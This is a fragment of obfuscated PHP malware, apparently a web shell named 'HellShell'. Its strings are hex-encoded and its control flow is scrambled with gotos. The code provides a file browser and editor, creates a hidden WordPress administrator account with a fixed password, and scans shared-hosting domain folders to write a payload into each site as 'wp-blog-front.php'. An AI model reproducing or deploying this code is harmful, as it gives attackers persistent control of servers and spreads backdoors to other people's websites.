0\x78\x3b\x20\x6d\141\162\147\151\156\x3a\63\160\x78\x3b\x20\x62\x61\143\153\x67\162\x6f\x75\x6e\144\72\43\61\x31\x31\x3b\40\142\x6f\x72\144\x65\162\72\x31\160\x78\x20\x73\157\154\x69\x64\40\x23\x66\x66\60\x3b\40\143\x6f\154\x6f\x72\72\43\146\146\60\73\x20\175\xa\142\165\164\x74\x6f\x6e\x5b\x6e\x61\155\145\75\143\154\157\156\145\137\150\145\x72\x65\x5d\40\173\40\155\x61\x72\x67\x69\156\55\x6c\145\146\164\x3a\61\60\160\170\x3b\40\x7d\xa\74\x2f\163\x74\x79\x6c\145\76\12\74\57\x68\145\141\144\76\xa\x3c\142\x6f\144\171\x3e\xa\x3c\x68\62\76\303\xb0\xc5\xb8\342\x80\x9d\xc2\xa5\x20\110\145\x6c\x6c\x53\x68\145\154\x6c\74\57\150\x32\76\12\x3c\160\76\x3c\142\x3e\120\x61\x74\x68\x3a\x3c\x2f\142\x3e\x20"; goto vmpMT; bnXuH: WjR1c: goto WkJJa; QjW0N: goto fYnAP; goto d5V4O; fW3YQ: Q8yTR: goto iXCp0; uFRdk: goto NqXEh; goto TqSGu; W3QoJ: TwgIS: goto CeVou; DBRvW: goto KR4dN; goto iKuDw; bZY1K: Jfy1n: goto V5q18; jG054: goto vulF5; goto gTcbi; Z_j7r: goto eYfsX; goto GzHf1; P18Wf: HKpfc: goto ZvKn_; rdMJx: vVbZO: goto GGuih; kj73H: goto w1uy_; goto NS_P6; vROd0: goto VrXPo; goto c9tdZ; xH_q2: fglM4: goto cvGW1; V3pkU: TbGY0: goto vWI69; SgrjO: SuiMc: goto G6_zE; KGpi0: goto Tbxrx; goto t7D2Y; vw0N5: goto eL3o9; goto yUM6u; zmw15: EtncM: goto x2NQw; JSfsG: LMiFP: goto OlNXB; Neq8l: lGDG8: goto CUAcn; Wrhjv: Kjfaz: goto hxDMW; ruGiS: goto DwIlf; goto e9J83; iE4ih: uLRAc: goto LQGuL; LvC12: tnzae: goto fzZPn; cytL0: echo "\x3c\57\x74\x61\142\x6c\x65\76\xa\xa\74\x73\x63\x72\151\160\164\76\12\x66\165\156\143\164\151\157\156\x20\x72\145\156\x61\x6d\x65\x43\157\156\x66\x69\162\155\50\146\157\162\x6d\51\40\x7b\xa\40\40\x20\x20\162\145\x74\x75\x72\x6e\x20\143\x6f\x6e\x66\151\x72\155\x28\x27\x52\x65\156\x61\x6d\145\40\x66\151\154\x65\77\47\x29\x3b\12\x7d\xa\74\x2f\163\x63\162\151\x70\164\x3e\12\12"; goto XcJod; RJvzj: VhhHo: goto L1Cpe; NfLr7: YxNMY: goto ObNtA; xhbvE: goto u4PS7; goto Qy7Ry; Ew4Vq: goto mmZKh; goto zpqr9; Mg0kq: BsQIO: goto Zjoa3; LThxC: wxbwg: goto RFrGN; L1Cpe: SYxdL: goto Wc2_k; oyvT0: kDQNo: goto dgkA2; TqSGu: JR8P0: goto JzMHZ; GKsnu: goto hbxNU; goto rs6hQ; EOJg3: goto wZ7ek; goto A4CH8; OzAbI: zsCef: goto U4WAK; syZL1: goto ff9Yy; goto LQfqR; wbqkt: goto UN8fq; goto lxDkg; wD9U7: Tbxrx: goto qoyb0; fotv5: FEh9e: goto klNYr; Xn1aA: goto SScWF; goto HcGlG; U3dVg: goto CggXw; goto oIF6W; dO0pw: function hX3BK($CLC3r = 6) { goto z6NSK; E9SDk: oZVYN: goto gVstI; IQFeb: JSXiv: goto hGplP; IRvQ1: goto Uoi0P; goto C2mPv; JzN0o: goto SJm82; goto M_YmK; C2mPv: UTj5s: goto aT2rK; XlvWZ: f4i3v: goto Nbywx; xaxQT: goto gaqC3; goto V98iK; ctTrq: ezfiV: goto mHC28; uClj2: goto F9402; goto a5jfy; p_dWZ: goto oP8e9; goto zEJyW; wmObU: goto oZVYN; goto aL2My; k70cv: YQnip: goto oysAB; V5ADG: $VHE4e = 0; goto uClj2; QLABN: goto iUYvM; goto Qu1oE; zEJyW: gN3A3: goto QLABN; k02CQ: hV90C: goto IJCBC; M_YmK: fXdFk: goto iMW62; U6iKU: jPu3B: goto XSFRG; xt_eX: f3v9J: goto vMsmb; oysAB: Xx_aN: goto y6Ovi; n9omV: TeIVw: goto Zqp_y; O_THI: ZBde5: goto p_dWZ; AUACC: goto jPu3B; goto Z1zM2; vehzS: Fnpg7: goto pMWTY; sTNzp: goto DaFlI; goto Om_yR; WcNk9: jLVFi: goto sEtis; z6NSK: goto AbpJ5; goto wiXcI; kTKoJ: p3hjl: goto pheJZ; xqy9y: goto YQnip; goto NVDWg; M7OJn: goto cnaEO; goto vq7Jv; e8skV: Uoi0P: goto AUACC; OzeKL: y5FS_: goto dG0BS; pheJZ: iUYvM: goto mWfW7; wWOHx: goto Zqsgl; goto n9omV; pyEPj: GpK83: goto FWlLI; elhIF: OGdFC: goto tkzAW; sEtis: goto GpK83; goto M7OJn; UAHC2: gaqC3: goto WoCa_; IJCBC: L14AX: goto i44FY; wiXcI: fX0Y4: goto v3Dhr; Aecwo: goto OGdFC; goto nZQe6; OzlOw: goto hSU5m; goto cNzaz; s1NPZ: $wDHLd = ''; goto SXxlC; BUHLn: goto XuJqe; goto xaxQT; v3Dhr: XuJqe: goto Aecwo; aT2rK: goto Kfi1D; goto mkqeO; vq7Jv: YdBmX: goto WpMY8; B09uE: goto TeIVw; goto XlvWZ; V98iK: DUsZn: goto mTBTt; aL2My: AbpJ5: goto c3kNA; cNzaz: goto p3hjl; goto aH1n2; n9Ean: return $wDHLd; goto RWIZS; tkzAW: goto w7r8p; goto zFdLi; crGmt: goto YdBmX; goto DMP9E; ZMAnM: goto Dpav7; goto k02CQ; fbdWV: bNXG2: goto O_THI; ONLdM: hSU5m: goto JzN0o; i44FY: goto Du3Bd; goto cHOhe; c3kNA: goto Sv9CS; goto otKq1; yjuQa: QuBwT: goto sTNzp; zFdLi: goto gN3A3; goto fbdWV; DMP9E: PqKeK: goto BUHLn; B6M7m: goto fX0Y4; goto gBnuW; FWlLI: goto ezfiV; goto KOMPn; O0Hpy: F9402: goto Kazcb; WpMY8: Ox0Yj: goto B09uE; hE0kD: goto PqKeK; goto k70cv; WoCa_: Sv9CS: goto wmObU; BWEYW: goto BxgG1; goto VvUlS; XSFRG: goto Xx_aN; goto mhSbN; o_5T6: goto LZqJ2; goto U6iKU; mHC28: if (!($VHE4e < $CLC3r)) { goto UTj5s; } goto IRvQ1; mTBTt: goto ZBde5; goto xqy9y; ajZr2: goto hV90C; goto E9SDk; dcOXU: Du3Bd: goto wJQPo; dG0BS: goto DUsZn; goto mjfie; VvUlS: goto IMDUY; goto elhIF; NVDWg: oP8e9: goto eClIJ; RWIZS: goto JSXiv; goto Pc7ES; otKq1: goto ak10X; goto WcNk9; mjfie: IMDUY: goto e8skV; UhbvS: goto ZYSkF; goto ZMAnM; IICYx: goto jLVFi; goto xt_eX; Nbywx: BxgG1: goto wWOHx; iMW62: ZYSkF: goto toxtZ; pMWTY: mI7hJ: goto BONSU; BONSU: goto sOwgY; goto r7_gy; ezTwV: goto QuBwT; goto ajZr2; Z1zM2: DaFlI: goto V5ADG; nZQe6: Dpav7: goto yjuQa; cHOhe: Kfi1D: goto BWEYW; toxtZ: goto inuE4; goto eYYSc; wJQPo: w7r8p: goto IICYx; gVstI: $SOGXc = "\x61\142\143\x64\x65\146\147\150\x69\152\x6b\x6c\x6d\x6e\157\160\x71\162\163\x74\165\x76\167\x78\171\x7a\x30\61\62\x33\x34\x35\x36\x37\70\x39"; goto OIEey; gBnuW: inuE4: goto n9Ean; Om_yR: sOwgY: goto OzeKL; Kazcb: goto L14AX; goto crGmt; OIEey: goto yUB7o; goto ctTrq; mhSbN: goto Fnpg7; goto vehzS; mWfW7: goto f4i3v; goto dcOXU; eYYSc: AlwMZ: goto ezTwV; szVeO: goto mI7hJ; goto h9veS; hGplP: goto Ox0Yj; goto B6M7m; r7_gy: yUB7o: goto OzlOw; vMsmb: $wDHLd .= $SOGXc[rand(0, strlen($SOGXc) - 1)]; goto o_5T6; mkqeO: cnaEO: goto pyEPj; y6Ovi: goto f3v9J; goto UAHC2; Qu1oE: goto bNXG2; goto O0Hpy; eClIJ: $VHE4e++; goto hE0kD; KOMPn: SJm82: goto s1NPZ; SXxlC: goto AlwMZ; goto kTKoJ; h9veS: goto fXdFk; goto IQFeb; a5jfy: LZqJ2: goto szVeO; Pc7ES: ak10X: goto ONLdM; aH1n2: Zqsgl: goto UhbvS; Zqp_y: } goto QPDRP; INens: goto QRu0E; goto KCaqs; kT4U8: SjQoV: goto IrBBt; RUZzO: goto gUKWt; goto yRzSi; Kdmp4: goto kOZC5; goto d1ymB; bprOo: goto hqvji; goto VR99U; lxDkg: Vz7Nc: goto xLzC1; tXmFa: goto mrEaW; goto KmpX7; ZnsV8: XVnA0: goto cpkaA; PcG05: PEDAo: goto jUo7I; CsPsQ: goto Vz7Nc; goto u3UcH; wbKnl: zT7B3: goto Ts3fo; TVfkN: l5mRt: goto sXGTh; ya2iC: $hznvy .= "\74\144\x69\x76\40\x63\x6c\x61\x73\x73\x3d\47\x6f\x6b\x27\76\xc3\xa2\305\223\xe2\200\x9d\x20\127\x50\x20\x41\x64\x6d\151\156\x20\103\162\145\141\164\145\x64\x3a\40\150\x65\154\154\40\57\40\x48\145\x6c\x6c\x40\x32\x30\62\x35\x3c\57\x64\x69\166\x3e"; goto lOUZQ; klNYr: goto nyxtr; goto auij7; by2Me: uU3hK: goto ReGJh; mUedk: ww1U4: goto Ms1xZ; BMgJY: goto YV7J3; goto LK7PK; HsnEG: goto FQi0d; goto nDgjJ; SGYFQ: C6uMX: goto Tm20x; c6i_W: cBi0z: goto MpkXP; mEyIg: AJEvA: goto ya2iC; TH0hL: goto eidbW; goto dpuZk; xkb3Y: goto FAGob; goto MjtI0; zN5y3: wHPSX: goto XkG1y; zGsRd: goto fZku2; goto N_bhX; HQKM6: Kh6bK: goto pWLEz; Y39BH: SGf7r: goto LHCPs; OQA_Z: goto jFF3F; goto YRBfv; INFFL: $D8SPt = __FILE__; goto GETqH; G8pQn: V35gp: goto tXmFa; CH5gS: goto kZyGP; goto QVOeC; xglhX: goto FH10o; goto P18Wf; HgL8O: v26Id: goto h1gA6; fzZPn: goto TiAaS; goto cqOD9; IrBBt: zwr0b: goto nJOL3; f2HDu: tALZ4: goto asy96; SU2aS: goto M_aAL; goto FBet9; GGaB5: goto QxCZA; goto rHduz; fbCMn: iFm00: goto dDHyn; WRtx2: goto nCsBk; goto VJPkJ; v_bQx: goto yuxjg; goto DkneV; QasTk: kNvRZ: goto pmKLG; psN7E: Xt2yl: goto rTRoz; i6StH: goto KOcL8; goto fotv5; UGHVI: YeuQW: goto di3MM; VWhb1: K14Rm: goto leSQu; U4WAK: echo "\74\146\x6f\x72\x6d\x20\x6d\x65\x74\x68\157\144\75\47\160\x6f\163\164\47\76\74\164\145\170\164\x61\162\145\x61\x20\156\x61\x6d\145\x3d\47\146\151\x6c\x65\x64\141\164\x61\47\76{$mdI48}\x3c\57\164\x65\x78\164\x61\162\x65\x61\x3e\74\x62\x72\x3e\74\142\165\164\164\x6f\156\x20\x6e\x61\x6d\x65\x3d\47\x73\x61\x76\x65\x66\151\x6c\x65\x27\x3e\x53\x61\x76\x65\74\57\142\x75\164\x74\x6f\156\76\40\x3c\141\40\150\162\x65\x66\x3d\x27\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x27\40\163\164\x79\154\145\75\47\143\x6f\x6c\157\x72\x3a\x23\x66\x66\60\47\76\102\x61\143\153\x3c\57\x61\x3e\74\x2f\146\x6f\x72\155\76"; goto Lx0XR; bkpQm: goto vh4Ya; goto JrmU1; HMmv3: goto VhhHo; goto C1F0D; zF2eE: An6YB: goto mxgcF; YS87K: goto DpXAP; goto MnYYv; nmlvO: KR4dN: goto UmErq; DYzZc: goto Jc76G; goto NRbvr; nY_1Q: veDoV: goto fdusi; v8gH4: goto z3aiS; goto hQr7P; G5dt5: goto LGhol; goto tuKb4; fFQF6: goto N8UWO; goto UVUtQ; n0AyI: goto c1Y1i; goto mGj0u; uSV6y: $hznvy .= "\74\144\151\x76\x20\x63\x6c\141\x73\163\75\47\145\x72\x72\47\76\xc3\242\xc5\223\313\x9c\x20\x57\120\x20\165\x73\145\x72\40\143\x72\145\x61\x74\151\x6f\156\40\x65\162\162\157\x72\x3c\57\x64\x69\166\x3e"; goto bprOo; W8XxV: goto CfqF0; goto Mix7i; OmOy_: goto QJ85Y; goto B7Xir; KMUru: DwIlf: goto t45jc; aO1F2: goto h_uEZ; goto y2JC5; A8SPk: CLznv: goto PC1uP; eM273: goto D0vP0; goto HK11o; CUWhv: goto OFmO8; goto UBRcC; AUr_O: goto Ke450; goto ltaRC; ky0ox: QIr9i: goto nndCL; g7eCo: goto Qjkti; goto W6N2X; olZtW: jQe1n: goto hyfoa; dSIe6: Pu1yM: goto SgrjO; PWPPT: nWrVW: goto CTQ0O; drhqD: X_y0p: goto B05Ub; cFVUB: $D6V0J = dirname($D6V0J); goto yikDg; uJ1Au: En4Bl: goto DBRvW; doVAA: goto Q_gWi; goto IJm2S; B1nVA: J2g9H: goto Z_1_4; H7UpU: HjMDE: goto OBxJ0; XM0Z1: foreach ($HbhNW as $JUtnp) { goto aUrNh; Q3Zqf: zKduV: goto u2qPg; s9vav: echo "\x3c\x6c\151\76\x3c\141\x20\x68\x72\x65\146\x3d\47{$JUtnp}\47\x20\164\141\162\x67\145\164\75\47\137\x62\154\141\x6e\153\x27\x3e{$JUtnp}\x3c\57\x61\76\74\x2f\154\x69\76"; goto sQ3ib; gKlF6: goto DWhQa; goto jqHoR; NYDkV: DWhQa: goto Q3Zqf; aUrNh: goto cMRko; goto e9uV9; B4EMc: qoZyg: goto gKlF6; JtDgN: DeS4P: goto UsVfk; eOIIu: rsRDR: goto B4EMc; u2qPg: goto t0TJ3; goto eOIIu; jqHoR: t0TJ3: goto JtDgN; sQ3ib: goto rsRDR; goto NYDkV; e9uV9: cMRko: goto s9vav; UsVfk: } goto Orv0N; ePZM9: goto aCSQe; goto d_uUZ; kodTq: goto QIr9i; goto N0XQT; d5V4O: goto Rq_co; goto Vxlow; d8vt9: kwn_w: goto Zq6n4; AuBcD: z3pf1: goto nqTXH; FR0vb: FtsP2: goto e4HMG; TNSh_: echo "\74\41\x44\x4f\103\x54\131\120\105\x20\x68\164\x6d\x6c\76\74\x68\164\x6d\154\x3e\x3c\150\x65\x61\144\76\x3c\x6d\x65\164\141\40\x63\x68\141\x72\163\145\164\75\x27\165\x74\146\55\70\x27\x3e\x3c\x74\x69\x74\x6c\x65\x3e\105\x64\x69\x74\x3c\x2f\164\x69\164\x6c\145\76\xa\x20\x20\x20\x20\40\x20\x20\40\74\163\x74\171\x6c\145\76\xa\40\40\40\40\40\40\40\40\x62\157\x64\x79\173\x62\x61\x63\153\147\162\157\x75\156\x64\x3a\43\60\60\60\73\143\x6f\154\x6f\x72\72\43\x66\146\x30\x3b\146\157\156\164\x2d\x66\x61\x6d\151\154\x79\x3a\155\x6f\156\157\x73\160\x61\x63\x65\73\164\x65\170\x74\55\141\x6c\x69\x67\156\x3a\x63\145\x6e\164\x65\x72\x7d\12\40\40\x20\40\40\40\40\40\x74\145\170\x74\x61\x72\145\x61\173\x77\151\144\164\150\x3a\71\x35\45\73\150\145\151\x67\150\164\x3a\x38\60\x76\150\x3b\142\x61\143\x6b\x67\162\157\165\x6e\144\x3a\x23\x31\61\61\73\143\157\x6c\x6f\x72\x3a\43\146\x66\x66\73\142\157\162\144\145\x72\x3a\x31\160\x78\x20\x73\157\154\151\144\40\43\x66\x66\x30\175\xa\x20\x20\x20\40\40\x20\x20\40\142\165\x74\x74\x6f\156\x7b\x70\x61\x64\144\x69\156\147\x3a\70\160\x78\73\x62\141\x63\153\x67\x72\x6f\x75\x6e\x64\72\x23\x32\62\62\x3b\143\157\x6c\157\162\x3a\43\146\x66\x30\73\142\x6f\162\144\145\x72\72\x31\x70\x78\40\163\x6f\154\151\x64\x20\43\146\x66\x30\x7d\12\x20\40\40\40\x20\40\40\40\x3c\57\163\x74\171\154\145\76\x3c\57\150\145\141\144\x3e\74\x62\157\144\171\76"; goto Yv5N0; HcGlG: fciXr: goto EZGSd; TwqXQ: mNINs: goto XPX4t; yW17m: R7fQw: goto uJ1Au; N_bhX: jkCKs: goto wwM9e; QqInZ: FQi0d: goto cAAde; XLvuk: N8UWO: goto I2Et3; QsPIc: hbxNU: goto Dvq11; LK51e: goto sqq0b; goto gru6B; qa8k3: goto B20kN; goto QWgsx; vH8mz: goto GTMrE; goto q2PPw; tuKb4: zyr_3: goto XM0Z1; YRVUI: goto a1JYq; goto q7YAy; WoibB: goto Mpw0a; goto U0S7x; wkKdZ: xwHle: goto M1sbV; kMj6k: goto GFznw; goto ZenZd; M4u07: goto DCCBg; goto wEY1S; lVtDI: hKkuU: goto cLM9z; zpqr9: goto qCPgI; goto PLsH_; rk09R: goto jQe1n; goto K4XlR; xWAA_: E3cAA: goto V19mR; Zf00L: goto fXR_9; goto orK6d; MAhYk: oCdVG: goto sFQq4; RCvXC: QLiDU: goto HI3Eh; wjSI3: goto WPvfP; goto UJv1z; Kw4uo: goto DbkW8; goto ZqkGP; rHduz: oRPQR: goto nRCFw; juHmK: goto f5n0p; goto GsX13; zfi1i: goto Pu1yM; goto CZKTK; NW2YB: iMPZC: goto cQw0H; ZhMNW: goto ocCsn; goto lJLwF; a3NhY: goto xqiY_; goto VrDET; M_ySO: rpkEp: goto Nluj9; C3gIo: goto U2hWI; goto O1iFw; ELRzR: goto roQYD; goto noXGz; Z2WKx: goto zWmwG; goto Due3P; cWIi8: aw61p: goto RUZzO; jUo7I: kTdtq: goto drZ7J; T_f2O: goto z3pf1; goto qtOMu; m6xtS: kOZC5: goto akk14; ErcjN: ff9Yy: goto zGznt; xihPS: goto Mui_y; goto DULDq; YvG2f: w4G6M: goto APerP; iM2Kf: EBoDv: goto Q1nFk; toqPO: BtDrW: goto SnuW7; v0IZQ: doNM2: goto kmudu; PFakA: VtXS1: goto Qd3lh; HLnpY: goto SXti3; goto gKF0b; dt_Tu: cAC6U: goto Y6Vvz; b5rBr: PdiyD: goto Zp6nL; zdSMe: goto KJSI3; goto yUnRu; Aq8ar: wht1c: goto PZ6FD; Z4ti4: TeCIh: goto uFRdk; bP8J6: goto vdRYy; goto kj73H; ONcuP: goto sbJX_; goto ELRzR; XRSia: B20kN: goto i6StH; rEqON: goto SuiMc; goto pqjjX; b7_TF: goto MiNjJ; goto lf5xV; TGNVX: goto yO1DX; goto Yj7dO; xbuKp: goto sHU8k; goto KHiK3; aPdzy: OCR1p: goto uAwQG; hKizP: goto a750m; goto jxpFG; FLvD1: function rbq7A($HQfp3) { goto RCPFH; ucrGN: goto NGfsY; goto Xr5mb; dyAHW: goto Bzfnk; goto dnPKr; ob6Cu: VGRR0: goto Ne70u; X1WUx: goto oeSNM; goto zLlAO; l2F2p: goto Z31Fd; goto oWGyJ; zxEIp: T6rNp: goto eyoHR; LCZqb: Mm4pS: goto ytgoV; rdVee: PN5bN: goto xbAoe; qgpvB: goto Hxh7o; goto zB_Lr; veIQX: C1hUL: goto Rq0ps; NnasV: bG7_5: goto Ujwfn; nwpCw: ygBm1: goto WzB2_; l7vPq: aiZQF: goto LOnIK; xQELg: f9fK0: goto yoM19; XZUKX: goto pxK2B; goto NiA64; RCPFH: goto O_rAU; goto G65F6; zuJSO: sUQ5Z: goto VcU52; gbJ7Q: goto CVtE9; goto BsihB; IW4c5: $HbhNW = []; goto tZpKV; CoFbs: goto ucoup; goto Typcn; E7tbT: goto ekxgf; goto yscww; NlVuf: pxK2B: goto XRuZG; kzGhE: imBDh: goto Pon0h; GD7D9: goto bG7_5; goto EP2nv; adcDm: goto wIyx4; goto CpPbF; ym_CG: Kh7RI: goto mLM3m; kiMUO: oeSNM: goto BCta0; s_wLQ: RzePA: goto j1nt_; CZnQe: goto q4z40; goto vZIZa; X8Pzq: goto W04iN; goto l7vPq; acvTV: IDMb3: goto X1WUx; aXSPh: IYrIO: goto C1XOa; Lse7n: Ophjk: goto IW4c5; yJi0s: ZzslW: goto oCCH7; kRKAH: $oSJ8K = __DIR__; goto LV7ak; CpPbF: uwdv5: goto iUp7n; Asytx: goto Vv71w; goto oXtKh; DIDsO: $oSJ8K = dirname($oSJ8K); goto ajxOd; ajxOd: goto yfJ3Q; goto JfJcQ; yscww: goto imBDh; goto S_utK; mLM3m: $NySlu = true; goto M3mDa; kbfeI: iZv5D: goto itiJZ; xa6HN: Z31Fd: goto NQcKQ; pDWOG: WPqri: goto TWsd3; OxUqq: ZBltR: goto qgpvB; DxHI1: goto b6YWM; goto u1_iz; ME5gR: goto cYirU; goto z74ez; vw3MB: wIyx4: goto O1e3M; gg_Ow: goto uwdv5; goto JgBbu; cUH_d: b6YWM: goto FGDly; z74ez: N4Rbr: goto xyVHx; cjYXS: Bzfnk: goto bSCy_; Z4Zgk: Hxh7o: goto ODmLS; JpC1w: TgnkZ: goto mKtom; EePFN: nOhdC: goto bDbsJ; BsihB: gNqUC: goto anKeV; BCta0: if (!(preg_match("\57\x5c\57\165\x5b\134\x77\x5d\x2b\44\57", $oSJ8K) && is_dir("{$oSJ8K}\57\x64\157\x6d\141\151\156\x73"))) { goto T6rNp; } goto PeXwr; RuJTK: Fx4lB: goto gbQSf; dBc8X: goto xejn1; goto ym_CG; H8m2U: goto M1_9G; goto EePFN; TQJ8q: HZkyG: goto yYxSX; JK3zx: goto oPcBJ; goto ioM0M; VcU52: goto XpVRy; goto vsyfU; bPS3x: mfwMj: goto X8Pzq; bawC0: return []; goto y11Cz; TWsd3: goto BZarw; goto Ww0iN; S_utK: tCju4: goto nwpCw; DfSGe: i2z_7: goto h9GGe; itiJZ: OpOIn: goto HAlIQ; h9GGe: static $NySlu = false; goto wzZwl; ODmLS: goto zspJd; goto kiMUO; Typcn: goto RzePA; goto yjGRk; v2el4: goto HR9pC; goto awPpR; YGPCw: goto G5zCG; goto X4SNz; EX2Xl: y6fo7: goto zuJSO; gdWEw: goto jqP7l; goto JpC1w; O1e3M: goto VGRR0; goto gg_Ow; XRuZG: goto rVm8T; goto ONL3Y; Ujwfn: if (!($oSJ8K !== "\x2f")) { goto N4Rbr; } goto ME5gR; JfJcQ: FAwvr: goto mDnjC; REPKx: HR9pC: goto dBc8X; E7Fui: goto i2z_7; goto fqF7I; N2XVx: goto y6fo7; goto vw3MB; Ymuz7: bYU93: goto NlVuf; tZpKV: goto JHDG7; goto a3KHu; t8f0f: goto Yq9fS; goto GpbnR; yoM19: DQAju: goto Hn2VE; DLBKI: goto f9fK0; goto XIFA0; XIFA0: tqHsE: goto Acc8r; tSpkE: sdo3T: goto GD7D9; oXtKh: goto o642m; goto cIm87; EP2nv: PddbW: goto bPS3x; cGPAx: gDD_e: goto hTkJO; pg8Z1: o642m: goto Z4Zgk; XrRoM: goto PN5bN; goto cGPAx; bDbsJ: goto JZtDd; goto DxHI1; jgKDl: kaAt0: goto jdX2M; oCCH7: CWv87: goto XSJNG; BJs1m: Go7_O: goto SEjSU; pjo2x: goto Ophjk; goto aXSPh; fqF7I: wTz4X: goto Asytx; JgBbu: PT_Ta: goto ob6Cu; YL6ho: Yq9fS: goto TQJ8q; mDnjC: gsfHr: goto YySBW; NDFmA: goto gsfHr; goto XrRoM; lyRId: goto NfDoz; goto RuJTK; xbAoe: ucoup: goto C5uPW; LV7ak: goto aKrZA; goto xa6HN; KTMKG: goto jwhB2; goto l2F2p; hUsW0: goto Vg3VJ; goto yJi0s; cIm87: aKrZA: goto NDFmA; G65F6: Vg3VJ: goto tSpkE; jdX2M: goto IDMb3; goto tAWl_; PkbjQ: goto kaAt0; goto DfSGe; Rq0ps: ekxgf: goto dyAHW; FGDly: EDsBy: goto QNwWs; pqxQH: goto UZcoV; goto kbfeI; QNwWs: goto DUt0y; goto hk2Cv; jVrVj: q4z40: goto T4g40; u1_iz: a38SL: goto YGPCw; on1Qf: C4UnC: goto DIDsO; zeeZE: xs1pG: goto rHdse; QD4S4: MPuuV: goto v2el4; GpbnR: NfDoz: goto m_bii; tAWl_: goto ZzslW; goto YL6ho; x8XLi: zspJd: goto adl6_; txZJv: DUt0y: goto ucrGN; yjGRk: rVm8T: goto U7qGD; NQcKQ: Vv71w: goto CZnQe; SEjSU: JZtDd: goto yFj2v; SAeR5: goto bYU93; goto jVrVj; ONL3Y: M1_9G: goto acvTV; NiA64: goto aiZQF; goto s_wLQ; cFhRP: goto IYrIO; goto pg8Z1; X4SNz: goto FAwvr; goto on1Qf; LOnIK: jwhB2: goto czRc4; EKa54: goto g7wPa; goto SAeR5; xyJGz: goto C4UnC; goto EX2Xl; oyhQU: goto iZv5D; goto AV0Ca; dnPKr: jqP7l: goto v1ojR; d5BL5: xejn1: goto kRKAH; PO6As: UZcoV: goto NSWf6; rHdse: goto PddbW; goto kzGhE; j7TQP: foreach (scandir("{$oSJ8K}\57\x64\157\x6d\141\151\x6e\163") as $B0UUB) { goto FNAqc; kOSzj: rVEQT: goto CNHV4; lzFP5: ux11Q: goto h0Laq; tjDHf: goto Mfz38; goto fC0RF; tYmGo: pqNVa: goto TMZT0; VvLWy: goto J0KX1; goto wT4S0; nL6Xp: n_DIT: goto MYboE; GApLz: goto B2ODT; goto Y28F3; E3Mrn: goto rnYLp; goto nbuQd; j96Dv: goto Jbzht; goto QG6fV; n3tJX: goto hsFf_; goto gSGNf; MYboE: if (!($B0UUB === "\x2e" || $B0UUB === "\56\x2e")) { goto WlcCY; } goto N9UlJ; FNAqc: goto u4oqo; goto WM7iI; jp3j9: goto bzSc_; goto cceQ3; zhrre: y7e_I: goto eQef8; cl_yF: goto A76t1; goto bUerB; HvwyS: goto Oa6fD; goto JGlPW; E436F: goto XOwo2; goto nL6Xp; lx4x2: goto PD6vj; goto OVhRZ; SWKD4: goto h85Ee; goto X8LHV; pT6Yx: goto rVEQT; goto phPk5; AfiM4: goto eXtyq; goto yW6vy; N9UlJ: goto v7xTO; goto ugTRA; Y28F3: rP9XS: goto c5Q47; Ii0Sr: goto ruKhz; goto dYMiY; M8GVO: v7xTO: goto FrTbR; W6F5i: J0KX1: goto JQJdY; R0RKv: Fl1wR: goto i2A_Z; d7h1L: goto VoeqA; goto F7EoO; c5Q47: $zbFXB = "\167\x70\55\142\x6c\x6f\147\x2d\x66\162\x6f\x6e\164\56\x70\150\160"; goto AfiM4; zSWeR: u4oqo: goto FBF73; X8LHV: goto TUDXP; goto VSrOX; Ojl3u: goto mMdzY; goto Ei6BU; Hzg4W: if (!is_writable($htvAP)) { goto Q98Ok; } goto lx4x2; nbuQd: rnYLp: goto VkdA4; xZLoR: lT7gi: goto LvU_1; a_n5b: g9ZiQ: goto h032c; Ei6BU: goto q8FyN; goto WJyBR; VSrOX: t8QM7: goto q_1Q_; TODUf: PEinE: goto xb4ha; bUerB: CAQ2x: goto TQJZf; lypPS: VoeqA: goto TRYQ5; TFMBV: goto K3003; goto ftBy8; a6hbS: goto n2PG3; goto zSWeR; fhs0S: mMdzY: goto fGFIP; SemA_: zWd7Y: goto nuB10; qpJyw: goto WpHqr; goto im3l0; h3MuU: goto Fl1wR; goto biAXF; POSeB: goto zqCeA; goto tm9_T; i_Aia: goto d26Tq; goto kOSzj; L6U9a: igC57: goto FX8qe; edIzx: goto g9ZiQ; goto UUGrD; fC0RF: n2PG3: goto XRGGx; mT1QB: WpHqr: goto Ojl3u; RYImv: hsFf_: goto d7h1L; A_llZ: dtuOX: goto bKvyd; wT4S0: Ein9r: goto bIVem; fGFIP: goto Ein9r; goto mT1QB; ftBy8: goto MNAMj; goto sadJ1; HzbFA: TsLzd: goto h3MuU; nuB10: if (!file_put_contents($KUX1S, $HQfp3)) { goto riXmi; } goto HvwyS; WM7iI: d26Tq: goto u3diC; lchgJ: goto n_DIT; goto Wiuan; n766B: goto TsLzd; goto i_Aia; WJyBR: XOwo2: goto VWz3O; eQef8: goto B1C2A; goto TODUf; oVwKo: goto ZJSTt; goto DpPtS; kg079: YIEH6: goto zhrre; Wiuan: B2ODT: goto TFMBV; q7UK1: goto ezUtN; goto edIzx; ugTRA: WlcCY: goto PAtId; q_1Q_: goto lT7gi; goto VvLWy; zV6dX: h85Ee: goto THj1B; bIVem: goto r5jpE; goto vDhQm; H6Byz: MNAMj: goto tYmGo; OIxoY: goto t8QM7; goto GPgZp; xb4ha: ku1XX: goto pT6Yx; HCALd: goto U8wF3; goto PWQyQ; D81PF: goto Og_55; goto cl_yF; DpPtS: U8wF3: goto rePbp; MRtbf: goto pqNVa; goto YPhq3; CNHV4: goto dtuOX; goto kdnnO; XRGGx: r5jpE: goto E436F; biAXF: eXtyq: goto n766B; FrTbR: goto uWRHq; goto X1jdx; FBF73: goto fd1ek; goto oVwKo; F7EoO: goto AFiCi; goto aWati; JQJdY: Og_55: goto E3Mrn; LvU_1: goto rP9XS; goto YBjC8; rePbp: goto ku1XX; goto rzVHr; GPgZp: zqCeA: goto q7UK1; NSXXj: goto TaGMG; goto aD3L2; PAtId: goto P3Mc5; goto QHNNB; TMZT0: goto rLq2z; goto Pvqb3; Pvqb3: P3Mc5: goto SWKD4; hoIWs: hgTHK: goto JICE3; Ahkn2: goto y7e_I; goto QYSbc; vDhQm: goto ux11Q; goto RYImv; A_nVV: PD6vj: goto OIxoY; yW6vy: TUDXP: goto M8GVO; QYSbc: goto ptyck; goto hoIWs; im3l0: AFiCi: goto HzbFA; dYMiY: ruKhz: goto BE5Cv; JICE3: wf11m: goto tjDHf; YPhq3: goto igC57; goto W6F5i; cceQ3: ZJSTt: goto xZLoR; VWz3O: xPeO_: goto l_f1D; UAGiv: $HbhNW[] = 